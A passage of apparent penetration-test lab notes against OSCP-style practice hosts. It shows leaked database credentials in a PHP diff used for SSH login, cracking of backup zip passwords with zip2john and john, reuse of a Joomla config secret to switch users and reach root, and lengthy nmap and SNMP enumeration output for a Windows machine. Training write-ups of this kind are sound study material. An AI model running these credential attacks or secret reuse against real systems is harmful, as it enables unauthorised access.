 class Database{
     private $host = "localhost";
     private $db_name = "staff";
-    private $username = "stuart@challenge.lab";
-    private $password = "BreakingBad92";
+    private $username = "";
+    private $password = "";
+// Cleartext creds cannot be added to public repos!
     public $conn;
     public function getConnection() {
         $this->conn = null;

-----------------

ssh stuart@192.168.135.144 - BreakingBad92
```

Privilege Escalation

```
stuart@oscp:/opt$ cd backup
stuart@oscp:/opt/backup$ ls
sitebackup1.zip  sitebackup2.zip  sitebackup3.zip
```

```
zip2john sitebackup3.zip > hash_zip.txt
john --format=zip --wordlist=/usr/share/wordlists/rockyou.txt hash_zip.txt



-------------------

codeblue         (sitebackup3.zip/joomla/language/.DS_Store)
codeblue         (sitebackup3.zip/joomla/includes/app.php)
codeblue         (sitebackup3.zip/joomla/web.config.txt)
codeblue         (sitebackup3.zip/joomla/cli/joomla.php)
codeblue         (sitebackup3.zip/joomla/cli/index.html)
```

```
public $password = 'Password@1';
    public $db = 'jooml';
    public $dbprefix = 'o83rl_';
    public $dbencryption = 0;
    public $dbsslverifyservercert = false;
    public $dbsslkey = '';
    public $dbsslcert = '';
    public $dbsslca = '';
    public $dbsslcipher = '';
    public $force_ssl = 0;
    public $live_site = '';
    public $secret = 'Ee24zIK4cDhJHL4H';


---------------

su carla Ee24zIK4cDhJHL4H

---

su root
```

6th 192.168.xxx.145 - OK

```
nmap -T5 -Pn 192.168.135.145 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 18:57 CEST
Warning: 192.168.135.145 giving up on port because retransmission cap hit
(2).
Nmap scan report for 192.168.135.145
Host is up (0.044s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1978/tcp open  unisql
```

```
3389/tcp open  ms-wbt-server
7680/tcp open  pando-pub
```

```
nmap -sC -sV 192.168.135.145 -p 21,80,135,139,445,1978,3389,7680
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 19:15 CEST
Nmap scan report for 192.168.135.145
Host is up (0.040s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Samuel's Personal Site
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1978/tcp open  unisql?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest,
GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-
RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck,
RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq,
TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-
sql-s, oracle-tns:
|_    system windows 6.2
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-04-01T17:19:18+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=oscp
| Not valid before: 2023-01-04T12:24:19
|_Not valid after:  2023-07-06T12:24:19
| rdp-ntlm-info:
|   Target_Name: OSCP
|   NetBIOS_Domain_Name: OSCP
|   NetBIOS_Computer_Name: OSCP
|   DNS_Domain_Name: oscp
|   DNS_Computer_Name: oscp
|   Product_Version: 10.0.19041
```

```
|_  System_Time: 2023-04-01T17:18:38+00:00
7680/tcp open  pando-pub?
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1978-TCP:V=7.93%I=7%D=4/1%Time=642866D0%P=x86_64-pc-linux-gnu%r(NUL
SF:L,14,"system\x20windows\x206\.2\n\n")%r(GenericLines,14,"system\x20wind
SF:ows\x206\.2\n\n")%r(GetRequest,14,"system\x20windows\x206\.2\n\n")%r(HT
SF:TPOptions,14,"system\x20windows\x206\.2\n\n")%r(RTSPRequest,14,"system\
SF:x20windows\x206\.2\n\n")%r(RPCCheck,14,"system\x20windows\x206\.2\n\n")
SF:%r(DNSVersionBindReqTCP,14,"system\x20windows\x206\.2\n\n")%r(DNSStatus
SF:RequestTCP,14,"system\x20windows\x206\.2\n\n")%r(Help,14,"system\x20win
SF:dows\x206\.2\n\n")%r(SSLSessionReq,14,"system\x20windows\x206\.2\n\n")%
SF:r(TerminalServerCookie,14,"system\x20windows\x206\.2\n\n")%r(TLSSession
SF:Req,14,"system\x20windows\x206\.2\n\n")%r(Kerberos,14,"system\x20window
SF:s\x206\.2\n\n")%r(SMBProgNeg,14,"system\x20windows\x206\.2\n\n")%r(X11P
SF:robe,14,"system\x20windows\x206\.2\n\n")%r(FourOhFourRequest,14,"system
SF:\x20windows\x206\.2\n\n")%r(LPDString,14,"system\x20windows\x206\.2\n\n
SF:")%r(LDAPSearchReq,14,"system\x20windows\x206\.2\n\n")%r(LDAPBindReq,14
SF:,"system\x20windows\x206\.2\n\n")%r(SIPOptions,14,"system\x20windows\x2
SF:06\.2\n\n")%r(LANDesk-RC,14,"system\x20windows\x206\.2\n\n")%r(Terminal
SF:Server,14,"system\x20windows\x206\.2\n\n")%r(NCP,14,"system\x20windows\
SF:x206\.2\n\n")%r(NotesRPC,14,"system\x20windows\x206\.2\n\n")%r(JavaRMI,
SF:14,"system\x20windows\x206\.2\n\n")%r(WMSRequest,14,"system\x20windows\
SF:x206\.2\n\n")%r(oracle-tns,14,"system\x20windows\x206\.2\n\n")%r(ms-sql
SF:-s,14,"system\x20windows\x206\.2\n\n")%r(afp,14,"system\x20windows\x206
SF:\.2\n\n")%r(giop,14,"system\x20windows\x206\.2\n\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 2s
| smb2-time:
|   date: 2023-04-01T17:18:42
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.50 seconds
```

Foothoold

```
sudo nmap -sU -n -Pn 192.168.213.145
[sudo] password for teodor:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-03 00:10 CEST
Nmap scan report for 192.168.213.145
Host is up (0.038s latency).
Not shown: 999 open|filtered udp ports (no-response)
PORT    STATE SERVICE
161/udp open  snmp
```

Output:

```
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 192.168.213.145:161 using SNMPv1 and community
'public'

[*] System information:

  Host IP address               : 192.168.213.145
  Hostname                      : oscp
  Description                   : Hardware: AMD64 Family 23 Model 1
Stepping 2 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 19041
Multiprocessor Free)
  Contact                       : zachary
  Location                      : localhost
  Uptime snmp                   : 00:34:58.21
  Uptime system                 : 30 days, 17:27:12.15
  System date                   : 2023-4-2 15:31:41.0
  Domain                        : WORKGROUP

[*] User accounts:

  Guest
  offsec
  zachary
  Administrator
  DefaultAccount
  WDAGUtilityAccount
```

```
[*] Network information:

  IP forwarding enabled         : no
  Default TTL                   : 128
  TCP segments received         : 3191
  TCP segments sent             : 12
  TCP segments retrans          : 0
  Input datagrams               : 77575
  Delivered datagrams           : 41209
  Output datagrams              : 5556

[*] Network interfaces:

  Interface                     : [ up ] Software Loopback Interface 1
  Id                            : 1
  Mac Address                   : :::::
  Type                          : softwareLoopback
  Speed                         : 1073 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ down ] Microsoft 6to4 Adapter
  Id                            : 2
  Mac Address                   : :::::
  Type                          : unknown
  Speed                         : 0 Mbps
  MTU                           : 0
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (PPTP)
  Id                            : 3
  Mac Address                   : :::::
  Type                          : unknown
  Speed                         : 0 Mbps
  MTU                           : 1464
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ down ] Microsoft Kernel Debug Network
Adapter
  Id                            : 4
```

```
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 0
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ down ] Microsoft IP-HTTPS Platform
Adapter
  Id                            : 5
  Mac Address                   : :::::
  Type                          : unknown
  Speed                         : 0 Mbps
  MTU                           : 0
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (IPv6)
  Id                            : 6
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (IP)
  Id                            : 7
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (Network Monitor)
  Id                            : 8
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0
```

```
  Interface                   : [ up ] WAN Miniport (L2TP)
  Id                          : 9
  Mac Address                 : :::::
  Type                        : unknown
  Speed                       : 0 Mbps
  MTU                         : 1460
  In octets                   : 0
  Out octets                  : 0

  Interface                   : [ up ] WAN Miniport (PPPOE)
  Id                          : 10
  Mac Address                 : :::::
  Type                        : ppp
  Speed                       : 0 Mbps
  MTU                         : 1494
  In octets                   : 0
  Out octets                  : 0

  Interface                   : [ down ] Microsoft Teredo Tunneling
Adapter
  Id                          : 11
  Mac Address                 : :::::
  Type                        : unknown
  Speed                       : 0 Mbps
  MTU                         : 0
  In octets                   : 0
  Out octets                  : 0

  Interface                   : [ up ] WAN Miniport (IKEv2)
  Id                          : 12
  Mac Address                 : :::::
  Type                        : unknown
  Speed                       : 0 Mbps
  MTU                         : 1480
  In octets                   : 0
  Out octets                  : 0

  Interface                   : [ up ] WAN Miniport (SSTP)
  Id                          : 13
  Mac Address                 : :::::
  Type                        : unknown
  Speed                       : 0 Mbps
```

```
  MTU                             : 4091
  In octets                       : 0
  Out octets                      : 0

  Interface                       : [ up ] vmxnet3 Ethernet Adapter
  Id                              : 14
  Mac Address                     : 00:50:56:ba:1e:b4
  Type                            : ethernet-csmacd
  Speed                           : 4294 Mbps
  MTU                             : 1500
  In octets                       : 3321983
  Out octets                      : 400473

  Interface                       : [ up ] vmxnet3 Ethernet Adapter-WFP
Native MAC Layer LightWeight Filter-0000
  Id                              : 15
  Mac Address                     : 00:50:56:ba:1e:b4
  Type                            : ethernet-csmacd
  Speed                           : 4294 Mbps
  MTU                             : 1500
  In octets                       : 3321983
  Out octets                      : 400473

  Interface                       : [ up ] vmxnet3 Ethernet Adapter-QoS
Packet Scheduler-0000
  Id                              : 16
  Mac Address                     : 00:50:56:ba:1e:b4
  Type                            : ethernet-csmacd
  Speed                           : 4294 Mbps
  MTU                             : 1500
  In octets                       : 3321983
  Out octets                      : 400473

  Interface                       : [ up ] vmxnet3 Ethernet Adapter-WFP
802.3 MAC Layer LightWeight Filter-0000
  Id                              : 17
  Mac Address                     : 00:50:56:ba:1e:b4
  Type                            : ethernet-csmacd
  Speed                           : 4294 Mbps
  MTU                             : 1500
  In octets                       : 3321983
  Out octets                      : 400473
```

```
  Interface                     : [ up ] WAN Miniport (IP)-WFP Native MAC
Layer LightWeight Filter-0000
  Id                            : 18
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (IP)-QoS Packet
Scheduler-0000
  Id                            : 19
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (IPv6)-WFP Native
MAC Layer LightWeight Filter-0000
  Id                            : 20
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (IPv6)-QoS Packet
Scheduler-0000
  Id                            : 21
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (Network Monitor)-
WFP Native MAC Layer LightWeight Filter-0000
  Id                            : 22
```

```
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0

  Interface                     : [ up ] WAN Miniport (Network Monitor)-
QoS Packet Scheduler-0000
  Id                            : 23
  Mac Address                   : :::::
  Type                          : ethernet-csmacd
  Speed                         : 0 Mbps
  MTU                           : 1500
  In octets                     : 0
  Out octets                    : 0


[*] Network IP:

  Id                    IP Address            Netmask
Broadcast
  1                     127.0.0.1             255.0.0.0             1
  14                    192.168.213.145       255.255.255.0         1

[*] Routing information:

  Destination           Next hop              Mask                  Metric
  0.0.0.0               192.168.213.254       0.0.0.0               16
  127.0.0.0             127.0.0.1             255.0.0.0             331
  127.0.0.1             127.0.0.1             255.255.255.255       331
  127.255.255.255       127.0.0.1             255.255.255.255       331
  192.168.213.0         192.168.213.145       255.255.255.0         271
  192.168.213.145       192.168.213.145       255.255.255.255       271
  192.168.213.255       192.168.213.145       255.255.255.255       271
  224.0.0.0             127.0.0.1             240.0.0.0             331
  255.255.255.255       127.0.0.1             255.255.255.255       331

[*] TCP connections and listening ports:

  Local address         Local port            Remote address        Remote
port           State
  0.0.0.0               21                    0.0.0.0               0
```

```
listen
  0.0.0.0              80                   0.0.0.0              0
listen
  0.0.0.0              135                  0.0.0.0              0
listen
  0.0.0.0              445                  0.0.0.0              0
listen
  0.0.0.0              1978                 0.0.0.0              0
listen
  0.0.0.0              3389                 0.0.0.0              0
listen
  0.0.0.0              5040                 0.0.0.0              0
listen
  0.0.0.0              7680                 0.0.0.0              0
listen
  0.0.0.0              49664                0.0.0.0              0
listen
  0.0.0.0              49665                0.0.0.0              0
listen
  0.0.0.0              49666                0.0.0.0              0
listen
  0.0.0.0              49667                0.0.0.0              0
listen
  0.0.0.0              49668                0.0.0.0              0
listen
  0.0.0.0              49669                0.0.0.0              0
listen
  0.0.0.0              49670                0.0.0.0              0
listen
  192.168.213.145      139                  0.0.0.0              0
listen
  192.168.213.145      55557                40.68.123.157        443
synSent

[*] Listening UDP ports:

  Local address        Local port
  0.0.0.0              123
  0.0.0.0              161
  0.0.0.0              2007
  0.0.0.0              3389
  0.0.0.0              5050
  0.0.0.0              5353
```

```
  0.0.0.0               5355
  127.0.0.1             1900
  127.0.0.1             51416
  127.0.0.1             57015
  192.168.213.145       137
  192.168.213.145       138
  192.168.213.145       1900
  192.168.213.145       51415

[*] Network services:

  Index                 Name
  0                     Power
  1                     Server
  2                     Themes
  3                     SysMain
  4                     IP Helper
  5                     DNS Client
  6                     Data Usage
  7                     DHCP Client
  8                     Time Broker
  9                     Workstation
  10                    SNMP Service
  11                    User Manager
  12                    VMware Tools
  13                    Windows Time
  14                    CoreMessaging
  15                    Plug and Play
  16                    Print Spooler
  17                    Windows Audio
  18                    SSDP Discovery
  19                    Task Scheduler
  20                    Windows Search
  21                    Windows Update
  22                    Security Center
  23                    Storage Service
  24                    Sync Host_61f33
  25                    CNG Key Isolation
  26                    COM+ Event System
  27                    Windows Event Log
  28                    Credential Manager
  29                    IPsec Policy Agent
  30                    Group Policy Client
```

```
                    Network Connections
                    RPC Endpoint Mapper
                    Web Account Manager
                    Data Sharing Service
                    Device Setup Manager
                    Network List Service
                    System Events Broker
                    User Profile Service
                    Base Filtering Engine
                    Delivery Optimization
                    Local Session Manager
                    Microsoft FTP Service
                    TCP/IP NetBIOS Helper
                    Cryptographic Services
                    Diagnostic System Host
                    Display Policy Service
                    Application Information
                    COM+ System Application
                    Certificate Propagation
                    Diagnostic Service Host
                    Remote Desktop Services
                    Radio Management Service
                    Shell Hardware Detection
                    State Repository Service
                    Windows Security Service
                    Diagnostic Policy Service
                    Network Connection Broker
                    Security Accounts Manager
                    Windows Biometric Service
                    Windows Defender Firewall
                    Network Location Awareness
                    VMware SVGA Helper Service
                    Windows Connection Manager
                    Windows Font Cache Service
                    Payments and NFC/SE Manager
                    Remote Procedure Call (RPC)
                    Update Orchestrator Service
                    Clipboard User Service_61f33
                    DCOM Server Process Launcher
                    Remote Desktop Configuration
                    Windows Update Medic Service
                    Windows Audio Endpoint Builder
                    Application Host Helper Service
```

```
  74                    Microsoft Store Install Service
  75                    Network Store Interface Service
  76                    Windows License Manager Service
  77                    Client License Service (ClipSVC)
  78                    Distributed Link Tracking Client
  79                    Remote Access Connection Manager
  80                    AppX Deployment Service (AppXSVC)
  81                    Capability Access Manager Service
  82                    System Event Notification Service
  83                    World Wide Web Publishing Service
  84                    Connected Devices Platform Service
  85                    Windows Management Instrumentation
  86                    Windows Process Activation Service
  87                    Distributed Transaction Coordinator
  88                    Microsoft Account Sign-in Assistant
  89                    System Guard Runtime Monitor Broker
  90                    Microsoft Defender Antivirus Service
  91                    Background Intelligent Transfer Service
  92                    Background Tasks Infrastructure Service
  93                    Program Compatibility Assistant Service
  94                    VMware Alias Manager and Ticket Service
  95                    Connected User Experiences and Telemetry
  96                    Secure Socket Tunneling Protocol Service
  97                    WinHTTP Web Proxy Auto-Discovery Service
  98                    Windows Push Notifications System Service
  99                    Touch Keyboard and Handwriting Panel Service
  100                   Connected Devices Platform User Service_61f33
  101                   Windows Push Notifications User Service_61f33
  102                   Remote Desktop Services UserMode Port Redirector

[*] Processes:

  Id                    Status                Name                  Path
Parameters
  1                     running               System Idle Process
  4                     running               System
  92                    running               Registry
  372                   running               smss.exe
  408                   running               dwm.exe
  412                   running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -p
  456                   running               csrss.exe
  556                   running               wininit.exe
```

```
  572                   running               csrss.exe
  648                   running               winlogon.exe
  668                   running               services.exe
  696                   running               lsass.exe
C:\WINDOWS\system32\
  800                   running               svchost.exe
C:\WINDOWS\system32\  -k DcomLaunch -p -s PlugPlay
  816                   running               fontdrvhost.exe
  860                   running               svchost.exe
C:\WINDOWS\system32\  -k DcomLaunch -p
  876                   running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s DsmSvc
  884                   running               svchost.exe
C:\WINDOWS\System32\  -k netsvcs -p
  904                   running               svchost.exe
C:\WINDOWS\System32\  -k NetworkService -s TermService
  916                   running               svchost.exe
C:\WINDOWS\system32\  -k RPCSS -p
  968                   running               svchost.exe
C:\WINDOWS\system32\  -k LocalServiceNoNetwork -p
  972                   running               svchost.exe
C:\WINDOWS\system32\  -k DcomLaunch -p -s LSM
  1020                  running               fontdrvhost.exe
  1040                  running               msdtc.exe
C:\WINDOWS\System32\
  1080                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s NcbService
  1088                  running               ApplicationFrameHost.exe
C:\WINDOWS\system32\  -Embedding
  1100                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
  1232                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -p -s DispBrokerDesktopSvc
  1280                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalServiceNetworkRestricted -p -s EventLog
  1344                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -p -s nsi
  1364                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s UmRdpService
  1408                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalServiceNetworkRestricted -p -s Dhcp
  1608                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -s CertPropSvc
```

```
  1616                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s Schedule
  1632                  running               svchost.exe
C:\WINDOWS\System32\  -k NetworkService -p -s NlaSvc
  1664                  running               vm3dservice.exe
C:\WINDOWS\system32\
  1708                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s WdiSystemHost
  1728                  running               svchost.exe
C:\WINDOWS\System32\  -k NetworkService -p -s LanmanWorkstation
  1772                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s ProfSvc
  1800                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalSystemNetworkRestricted -p -s SysMain
  1812                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -p -s EventSystem
  1828                  running               svchost.exe
C:\WINDOWS\System32\  -k netsvcs -p -s Themes
  1900                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s gpsvc
  1940                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s SENS
  1976                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s
AudioEndpointBuilder
  1984                  running               svchost.exe
C:\WINDOWS\System32\  -k netsvcs -p -s SessionEnv
  2000                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalService -p -s netprofm
  2008                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -p -s FontCache
  2016                  running               Memory Compression
  2092                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalServiceNetworkRestricted -p
  2148                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s WpnService
  2184                  running               svchost.exe
C:\WINDOWS\system32\  -k NetworkService -p -s Dnscache
  2196                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalServiceNetworkRestricted -p
  2208                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalServiceNetworkRestricted -p
  2300                  running               svchost.exe
```

```
C:\WINDOWS\System32\  -k netsvcs -p -s ShellHWDetection
  2336                  running               svchost.exe
C:\WINDOWS\system32\  -k appmodel -p -s camsvc
  2340                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s UserManager
  2432                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalServiceNetworkRestricted -p -s
WinHttpAutoProxySvc
  2484                  running               spoolsv.exe
C:\WINDOWS\System32\
  2560                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalServiceNoNetworkFirewall -p
  2656                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s Netman
  2660                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalService -p -s WdiServiceHost
  2804                  running               svchost.exe
C:\WINDOWS\system32\  -k apphost -s AppHostSvc
  2812                  running               svchost.exe
C:\WINDOWS\system32\  -k NetworkService -p -s CryptSvc
  2820                  running               svchost.exe
  2824                  running               svchost.exe
C:\WINDOWS\System32\  -k utcsvc -p
  2832                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalServiceNoNetwork -p -s DPS
  2856                  running               svchost.exe
C:\WINDOWS\system32\  -k ftpsvc -s ftpsvc
  2896                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s Winmgmt
  2980                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s LanmanServer
  2992                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -p -s SstpSvc
  3008                  running               vmtoolsd.exe
C:\Program Files\VMware\VMware Tools\
  3016                  running               svchost.exe
C:\WINDOWS\system32\  -k iissvcs
  3028                  running               VGAuthService.exe
C:\Program Files\VMware\VMware Tools\VMware VGAuth\
  3036                  running               snmp.exe
C:\WINDOWS\System32\
  3048                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s TrkWks
```

```
  3056                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalSystemNetworkRestricted -p -s PcaSvc
  3068                  running               MsMpEng.exe
  3176                  running               svchost.exe
C:\WINDOWS\System32\  -k NetSvcs -p -s iphlpsvc
  3372                  running               MicrosoftEdgeUpdate.exe
C:\Program Files (x86)\Microsoft\EdgeUpdate\  /c
  3460                  running               svchost.exe
C:\WINDOWS\System32\  -k netsvcs
  3636                  running               SgrmBroker.exe
  3740                  running               dllhost.exe
C:\WINDOWS\system32\  /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
  3756                  running               svchost.exe
C:\WINDOWS\system32\  -k NetworkServiceNetworkRestricted -p -s PolicyAgent
  3960                  running               WmiPrvSE.exe
C:\WINDOWS\system32\wbem\
  4360                  running               sihost.exe
  4392                  running               svchost.exe
  4404                  running               svchost.exe
C:\WINDOWS\system32\  -k UnistackSvcGroup -s CDPUserSvc
  4420                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s wuauserv
  4560                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s StorSvc
  4620                  running               svchost.exe
C:\WINDOWS\system32\  -k appmodel -p -s StateRepository
  4660                  running               svchost.exe
C:\WINDOWS\system32\  -k UnistackSvcGroup -s WpnUserService
  4684                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalServiceAndNoImpersonation -p -s SSDPSRV
  4724                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalServiceNetworkRestricted -s RmSvc
  4916                  running               MouseServer.exe
C:\Program Files (x86)\Mouse Server\
  4944                  running               MoUsoCoreWorker.exe
C:\Windows\System32\  -Embedding
  4980                  running               MicrosoftEdgeUpdate.exe
C:\Users\offsec\AppData\Local\Microsoft\EdgeUpdate\  /c
  5040                  running               svchost.exe
  5100                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -s W32Time
  5112                  running               SearchIndexer.exe
C:\WINDOWS\system32\  /Embedding
```

```
  5140                  running               taskhostw.exe
{222A245B-E637-4AE9-A93F-A59CA119A75E}
  5196                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s TokenBroker
  5280                  running               svchost.exe
C:\WINDOWS\system32\  -k WbioSvcGroup -s WbioSrvc
  5300                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s
TabletInputService
  5396                  running               ctfmon.exe
  5472                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalServiceNetworkRestricted -p -s lmhosts
  5488                  running               svchost.exe
C:\WINDOWS\system32\  -k LocalService -p -s CDPSvc
  5592                  running               WinStore.App.exe
C:\Program
Files\WindowsApps\Microsoft.WindowsStore_12107.1001.15.0_x64__8wekyb3d8bbw
e\  -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca
  5604                  running               explorer.exe
C:\WINDOWS\
  5688                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalSystemNetworkRestricted -p -s DsSvc
  5740                  running               svchost.exe
C:\WINDOWS\system32\  -k ClipboardSvcGroup -p -s cbdhsvc
  5776                  running               SearchApp.exe
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\  -
ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
  5824                  running               OneDrive.exe
C:\Users\offsec\AppData\Local\Microsoft\OneDrive\  /background
  6048                  running               StartMenuExperienceHost.exe
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txy
ewy\  -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
  6060                  running               svchost.exe
C:\WINDOWS\system32\  -k UnistackSvcGroup
  6072                  running               UserOOBEBroker.exe
C:\Windows\System32\oobe\  -Embedding
  6120                  running               RuntimeBroker.exe
C:\Windows\System32\  -Embedding
  6220                  running               RuntimeBroker.exe
C:\Windows\System32\  -Embedding
  6292                  running               msedge.exe
C:\Program Files (x86)\Microsoft\Edge\Application\  --type=gpu-process --
gpu-
```

```
preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAA
AAAAAAAAAAAAAAAAAAAAAAAAEgAAA
  6364                  running               svchost.exe
C:\WINDOWS\System32\  -k netsvcs -p -s BITS
  6484                  running               msedge.exe
C:\Program Files (x86)\Microsoft\Edge\Application\  --type=utility --
utility-sub-type=network.mojom.NetworkService --lang=en-US --service-
sandbox-type=none --mojo-platform-channel
  6500                  running               msedge.exe
C:\Program Files (x86)\Microsoft\Edge\Application\  --no-startup-window --
win-session-start /prefetch:5
  6516                  running               msedge.exe
  6616                  running               msedge.exe
C:\Program Files (x86)\Microsoft\Edge\Application\  --type=utility --
utility-sub-type=storage.mojom.StorageService --lang=en-US --service-
sandbox-type=service --mojo-platform-chan
  6652                  running               RuntimeBroker.exe
C:\Windows\System32\  -Embedding
  6732                  running               vm3dservice.exe
C:\Windows\System32\  -u
  6984                  running               Mouse Server Luminati.exe
  7028                  running               SecurityHealthService.exe
  7056                  running               SecurityHealthSystray.exe
C:\Windows\System32\
  7124                  running               vmtoolsd.exe
C:\Program Files\VMware\VMware Tools\  -n vmusr
  7260                  running               svchost.exe
C:\WINDOWS\System32\  -k LocalService -p -s LicenseManager
  7372                  running               msedge.exe
C:\Program Files (x86)\Microsoft\Edge\Application\  --type=renderer --
instant-process --lang=en-US --js-flags=--ms-user-locale= --device-scale-
factor=1 --num-raster-threads=1 --re
  7536                  running               svchost.exe
C:\WINDOWS\system32\  -k netsvcs -p -s Appinfo
  7556                  running               svchost.exe
  7624                  running               svchost.exe
  7640                  running               RuntimeBroker.exe
C:\Windows\System32\  -Embedding
  7676                  running               RuntimeBroker.exe
C:\Windows\System32\  -Embedding
  7704                  running               Microsoft.Photos.exe
C:\Program
